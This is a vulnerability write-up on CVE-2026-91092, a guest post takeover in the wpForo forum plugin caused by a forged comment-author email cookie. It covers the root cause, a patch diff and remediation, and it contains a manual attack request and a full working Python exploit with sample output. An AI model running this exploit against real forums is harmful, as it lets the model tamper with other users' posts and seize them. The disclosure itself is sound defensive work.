CVE-2026-91092: wpForo Forum Guest Post Takeover via a Forged Ownership Cookie
TL;DR
- wpForo decides that a logged-out visitor owns a guest post by comparing the post's stored email against the WordPress comment author email cookie, which the browser sends.
- Anyone who knows a guest author's email can forge that cookie, pull the post's edit form and a valid nonce from a public AJAX action, and resubmit it.
- The takeover rewrites the post's body and displayed author name, and moves the stored owner email to an address the attacker controls.
- No WordPress account is needed on a forum that lets guests create and edit their own posts, which is the configuration the attack depends on.
- Version 3.1.6 replaces the email comparison with a server-signed per-guest cookie and blocks the edit form for guests who cannot prove ownership.
- wpForo
<= 3.1.5is affected, tracked as CVE-2026-91092, and fixed in 3.1.6.
Summary
wpForo decided guest post ownership by comparing the post's stored email with the unsigned WordPress comment author cookie, so anyone who knew a guest author's email could edit that author's post.
- CVE: CVE-2026-91092
- Product: wpForo Forum
- Active Installs: 20,000+
- Vulnerability: Missing Authorization to Guest Post Takeover
- Affected Versions: <= 3.1.5
- Fixed In: 3.1.6
- CVSS Severity: 4.3 (medium)
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
- Required Privilege: Subscriber+
- Reported: August 1, 2026
- NVD Published: September 22, 2026
Introduction
wpForo lets people post to a forum without a WordPress account, so [A]I went looking for how it decides that a logged-out visitor is allowed to change a post they created earlier.
For a logged-in member that decision runs through wpForo's own usergroup permissions, the same checks that gate every other forum action.
The guest path decides it differently. It reads the email address stored on the post and compares it to a cookie the browser sends. That cookie is the WordPress comment author email, and nothing signs it.
Root Cause Analysis
The Public Edit Form
The edit form is handed out by an AJAX action in wpForo 3.1.5 includes/hooks.php that logged-out visitors are allowed to call.
// includes/hooks.php (wpforo_post_edit)
add_action( 'wp_ajax_wpforo_post_edit', 'wpforo_post_edit' );
add_action( 'wp_ajax_nopriv_wpforo_post_edit', 'wpforo_post_edit' ); // [1] Allows logged-out requests.
function wpforo_post_edit() {
wpforo_verify_nonce( 'wpforo_post_edit' ); // [2] Checks the public nonce.
$r = [ 'html' => '' ];
if( $postid = wpforo_bigintval( wpfval( $_POST, 'postid' ) ) ) {
if( $post = WPF()->post->get_post( $postid, false ) ) {
if( WPF()->perm->forum_can( 'eor', $post['forumid'] ) || WPF()->perm->forum_can(
'eot',
$post['forumid']
) ) { // [3] Checks usergroup permission.
if( $topic = WPF()->topic->get_topic( $post['topicid'] ) ) {
// ... form rendering omitted.
$r['html'] = ob_get_clean(); // [4] Returns the edit form.
wp_send_json_success( $r );
}
}
}
}
wp_send_json_error( $r );
}
The action is registered twice, and the nopriv variant at [1] lets a request with no WordPress session reach the same handler. The nonce checked at [2] is printed on public forum pages, so it blocks cross-site requests but proves nothing about who is asking.
The only gate before the form is built is forum_can() at [3]. It asks whether the caller's usergroup may edit its own replies or topics, and it takes no post id, so it cannot decide ownership of this one. When it passes, [4] returns the edit form with a fresh nonce for the save step. Any visitor in a guest group that is allowed to edit can pull that form and nonce for any post.
How a Guest Is Identified
Ownership is decided later, from a cookie. In wpForo 3.1.5 classes/Members.php, a logged-out visitor without an already populated wpForo email falls to the else branch of get_guest_cookies().
// classes/Members.php (get_guest_cookies)
public function get_guest_cookies() {
$guest = [ 'name' => '', 'email' => '' ];
if( wpforo_setting( 'legal', 'cookies' ) ) {
if( ! WPF()->current_userid && WPF()->current_user_email ) {
$guest['name'] = WPF()->current_user_display_name;
$guest['email'] = WPF()->current_user_email;
} else {
$guest_cookies = wp_get_current_commenter(); // [5] Reads comment author cookies.
$guest['name'] = ( isset( $guest_cookies['comment_author'] ) ) ? $guest_cookies['comment_author'] : '';
$guest['email'] = ( isset( $guest_cookies['comment_author_email'] ) ) ? $guest_cookies['comment_author_email'] : ''; // [6] Takes the cookie email.
}
}
return $guest;
}
The call at [5] is wp_get_current_commenter(), which returns the standard WordPress comment author cookies. The email taken at [6] is whatever the browser sent. The comparison lives in wpForo 3.1.5 includes/functions.php.
// includes/functions.php (wpforo_current_guest)
function wpforo_current_guest( $email ) {
$guest = WPF()->member->get_guest_cookies();
if( ! wpfval( $guest, 'email' ) || ! $guest['email'] ) return false;
if( $email == $guest['email'] ) { // [7] Compares the two emails.
return true;
} else {
return false;
}
}
wpforo_current_guest() does a single string comparison at [7], the email stored on the post against the email in that cookie. A match is treated as ownership. It proves only that the requester supplied the same address, not that they created the post or control the mailbox. The comment author cookies are named with a COOKIEHASH suffix derived from the public site URL, so they are namespaced per site but carry no authenticity.
Where the Cookie Becomes Ownership
The save path in wpForo 3.1.5 classes/Posts.php joins the two together.
// classes/Posts.php (edit)
if( ! is_user_logged_in() ) { // [8] Enters the guest path.
if( ! isset( $post['email'] ) || ! $post['email'] ) {
WPF()->notice->add( 'Permission denied', 'error' );
return false;
} elseif( ! wpforo_current_guest( $post['email'] ) ) { // [9] Checks email-based ownership.
WPF()->notice->add( 'You are not allowed to edit this post', 'error' );
return false;
}
if( ! $args['name'] || ! $args['email'] ) {
WPF()->notice->add( 'Please insert required fields!', 'error' );
return false;
} else {
WPF()->member->set_guest_cookies( $args ); // [10] Sets guest cookies.
}
}
The guest branch at [8] runs only when nobody is logged in. It requires the post to carry a stored email, then hands that email to wpforo_current_guest() at [9]. Passing that call is the entire authorisation check for a guest edit. Once past it, [10] writes the attacker-supplied name and email into the guest cookie, and the database update that follows stores the new body, author name, and email on the post. Because the stored email is exactly what the next ownership check reads, changing it moves control of the post to the attacker's address.
Impact
An unauthenticated visitor can rewrite another guest author's approved post, changing its body and displayed author name, and can move the stored owner email from the victim's address to one they control. That last change is the one that lasts, because the email on the post is what every later guest ownership check compares against, so the original author can no longer edit their own post while the attacker can come back to it.
This reaches guest posts only. It does not touch posts made by registered users, private forum content, credentials, or files on the server, and it alters forum content rather than reading anything confidential. The underlying weakness is Missing Authorization, CWE-862.
Wordfence scored the issue 4.3 (medium) and records the required privilege as Subscriber level. The wpforo_post_edit action is registered for logged-out visitors, though, and the vendor's own fix describes the edit form as reachable by any visitor, so on a forum that allows guest editing the takeover needs no account.
Exploitation
Preconditions
- The forum lets guests create and edit their own posts, and wpForo guest cookies are enabled.
- The attacker knows the email address stored on the target guest post.
Manual Request
After loading a public forum page for the AJAX nonce, the first POST asks for the edit form. The forged cookie matters when the second POST saves the edit.
POST /wp-admin/admin-ajax.php?lang=en&page_id=4&wpforo_boardid=0 HTTP/1.1
Host: target.example
Cookie: comment_author_email_<COOKIEHASH>=guest-author%40target.example
Content-Type: application/x-www-form-urlencoded
action=wpforo_post_edit&_wpfnonce=5b5e026a70&postid=7
The JSON response contains the edit form and its nonce. The second request submits that form with a new name, email, and body, which replaces the post and rewrites its stored owner email.
PoC
The script accompanying this writeup targets a guest reply. It reads the public nonce, forges the cookie from the target email, pulls the edit form, then submits the replacement.
#!/usr/bin/env python3
"""Take over a wpForo guest reply without authenticating."""
import argparse
import hashlib
import html
import json
import re
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
class ExploitError(RuntimeError):
pass
def parse_args():
parser = argparse.ArgumentParser(
description="Replace another guest author's wpForo reply using a forged unsigned ownership cookie.")
parser.add_argument("--url", required=True, help="WordPress base URL")
parser.add_argument("--post-id", required=True,
type=int, help="Target guest reply ID")
parser.add_argument("--victim-email", required=True,
help="Email address stored on the target guest reply")
parser.add_argument("--forum-path", default="/community/",
help="wpForo path (default: /community/)")
parser.add_argument("--timeout", type=float, default=15.0,
help="HTTP timeout in seconds (default: 15)")
args = parser.parse_args()
if args.post_id < 1 or args.timeout <= 0:
parser.error("post-id and timeout must be positive")
return args
def request(url, data=None, cookie="", referer="", timeout=15.0):
headers = {"User-Agent": "wpForo-PoC/1.0"}
if cookie:
headers["Cookie"] = cookie
if referer:
headers["Referer"] = referer
body = urllib.parse.urlencode(data).encode() if data is not None else None
req = urllib.request.Request(url, data=body, headers=headers)
try:
return urllib.request.urlopen(req, timeout=timeout)
except (urllib.error.URLError, TimeoutError) as exc:
raise ExploitError(f"request failed: {exc}") from exc
def hidden_value(form_html, name):
match = re.search(rf'name="{re.escape(name)}" value="([^"]*)"', form_html)
if not match:
raise ExploitError(f"required form field was not found: {name}")
return html.unescape(match.group(1))
def main():
args = parse_args()
base_url = args.url.rstrip("/")
forum_url = urllib.parse.urljoin(
base_url + "/", args.forum_path.lstrip("/"))
cookie_hash = hashlib.md5(base_url.encode("utf-8")).hexdigest()
cookie_email = urllib.parse.quote(args.victim_email, safe="@.+-_")
forged_cookie = f"comment_author_email_{cookie_hash}={cookie_email}"
print("wpForo unauthenticated guest post takeover")
print(f"Target: {forum_url}")
print(f"Target post ID: {args.post_id}")
print("Attacker: unauthenticated")
with request(forum_url, cookie=forged_cookie, timeout=args.timeout) as response:
forum_html = response.read().decode("utf-8", "replace")
ajax_url_match = re.search(r'"ajax_url":"([^"]+)"', forum_html)
edit_nonce_match = re.search(r'"wpforo_post_edit":"([^"]+)"', forum_html)
if not ajax_url_match or not edit_nonce_match:
raise ExploitError(
"the public wpForo edit endpoint details were not found")
ajax_url = html.unescape(ajax_url_match.group(1)).replace("\\/", "/")
with request(
ajax_url,
{
"action": "wpforo_post_edit",
"_wpfnonce": edit_nonce_match.group(1),
"postid": str(args.post_id),
},
cookie=forged_cookie,
referer=forum_url,
timeout=args.timeout,
) as response:
edit_result = json.loads(response.read().decode("utf-8", "replace"))
if not edit_result.get("success"):
raise ExploitError("the public edit form request failed")
form_html = html.unescape(str(edit_result.get("data", {}).get("html", "")))
if 'name="thread[forumid]"' in form_html:
raise ExploitError("target is a topic starter; this PoC handles guest replies only")
form_nonce = hidden_value(form_html, "_wpfnonce")
forum_id = hidden_value(form_html, "post[forumid]")
topic_id = hidden_value(form_html, "post[topicid]")
replacement_email = "attacker@attacker.example"
replacement_body = f"Unauthenticated guest post takeover {int(time.time())}"
with request(
forum_url,
{
"_wpfnonce": form_nonce,
"wpfaction": "post_edit",
"post[forumid]": forum_id,
"post[topicid]": topic_id,
"post[postid]": str(args.post_id),
"post[name]": "Attacker Guest",
"post[email]": replacement_email,
"post[title]": "",
"post[body]": replacement_body,
"post[save]": "Submit",
},
cookie=forged_cookie,
referer=forum_url,
timeout=args.timeout,
) as response:
victim_url = response.geturl()
result_html = response.read().decode("utf-8", "replace")
if replacement_body not in result_html:
raise ExploitError(
"the edit request completed but the replacement body was not rendered")
print("[+] Forged guest ownership cookie accepted")
print("[+] Target post body and author name replaced")
print(f"[+] Stored owner email changed to: {replacement_email}")
print(f"[+] Replacement body: {replacement_body}")
print(f"[+] Victim URL: {victim_url}")
return 0
if __name__ == "__main__":
try:
raise SystemExit(main())
except ExploitError as exc:
print(f"[-] {exc}", file=sys.stderr)
raise SystemExit(1)
Run it against a forum that allows guest editing, with the victim's email and the target guest reply id.
python3 wpforo-guest-post-takeover.py \
--url https://target.example \
--post-id 7 \
--victim-email guest-author@target.example
wpForo unauthenticated guest post takeover
Target: https://target.example/community/
Target post ID: 7
Attacker: unauthenticated
[+] Forged guest ownership cookie accepted
[+] Target post body and author name replaced
[+] Stored owner email changed to: attacker@attacker.example
[+] Replacement body: Unauthenticated guest post takeover 1785543145
[+] Victim URL: https://target.example/community/main-forum/guest-post-takeover-demonstration/#post-7
Patch Diffing
In wpForo 3.1.6 classes/Posts.php, the guest edit branch no longer calls wpforo_current_guest().
// classes/Posts.php (edit)
return false;
- } elseif( ! wpforo_current_guest( $post['email'] ) ) {
+ } elseif( ! wpforo_guest_owns_post( $post['postid'] ) ) {
WPF()->notice->add( 'You are not allowed to edit this post', 'error' );
It calls wpforo_guest_owns_post(), which checks the requested post id against a signed list instead of an email string. The 3.1.6 AJAX action gained the same check before it builds the form, so a logged-out visitor who cannot prove ownership no longer receives the post body or a usable nonce.
// includes/hooks.php (wpforo_post_edit)
if( $post = WPF()->post->get_post( $postid, false ) ) {
+ // forum_can() is a usergroup-level check and takes no post id, so for
+ // guests it cannot prove ownership of THIS post. Without this gate the
+ // edit form (post body + a valid form nonce) is handed to any visitor.
+ if( ! is_user_logged_in() && ! wpforo_guest_owns_post( $postid ) ) {
+ wp_send_json_error( $r );
+ }
if( WPF()->perm->forum_can( 'eor', $post['forumid'] ) || WPF()->perm->forum_can(
The ownership record is now a wpforo_guest_ownership cookie holding the post ids a guest created. wpForo 3.1.6 includes/functions.php verifies its HMAC with the site's auth salt.
// includes/functions.php (wpforo_get_guest_owned_posts)
$expected = hash_hmac( 'sha256', $data, wp_salt( 'auth' ) ); // [11] Computes the expected signature.
if( ! hash_equals( $expected, $signature ) ) return []; // [12] Rejects altered cookies.
The server computes the expected signature at [11] and rejects altered cookies at [12]. A visitor can no longer claim a post by naming its email, because the cookie has to be one the server issued and signed when that guest created the post.
Remediation
Update to wpForo 3.1.6 or later, the release that swapped the email check for the signed guest ownership cookie and gated the edit form. A forum that does not need guest editing can disable guest posting and editing, which removes the configuration the attack relies on.
Disclosure Timeline
- August 1, 2026: Reported to the Wordfence bug bounty program.
- September 11, 2026: Triage started.
- September 14, 2026: Report validated and CVE-2026-91092 assigned.
- September 18, 2026: wpForo 3.1.6 released, replacing the email check with a signed guest ownership cookie.
- September 21, 2026: Published by Wordfence as CVE-2026-91092.
- September 22, 2026: Indexed by NVD.
- Bounty: $0.
Conclusion
The check was not missing, it was measuring the wrong thing. Comparing the post's stored email to the comment author cookie looks like an ownership test, but the visitor controls the cookie, so it only ever confirmed that they supplied the address wpForo already had on file.
The fix keeps the guest editing feature and changes what proves ownership, from an email anyone can type to a cookie the server signs when the post is created. That is the piece the original code never had.
References
- Wordfence: wpForo Forum <= 3.1.5 - Missing Authorization to Authenticated (Subscriber+) Guest Post Takeover via wpforo_post_edit Action / Forged comment_author_email Cookie
- NVD: CVE-2026-91092
- WordPress.org: wpForo Forum
- WordPress.org: wpForo 3.1.6, the fixed release
- MITRE: CWE-862 Missing Authorization
- WordPress Developer Resources: wp_get_current_commenter()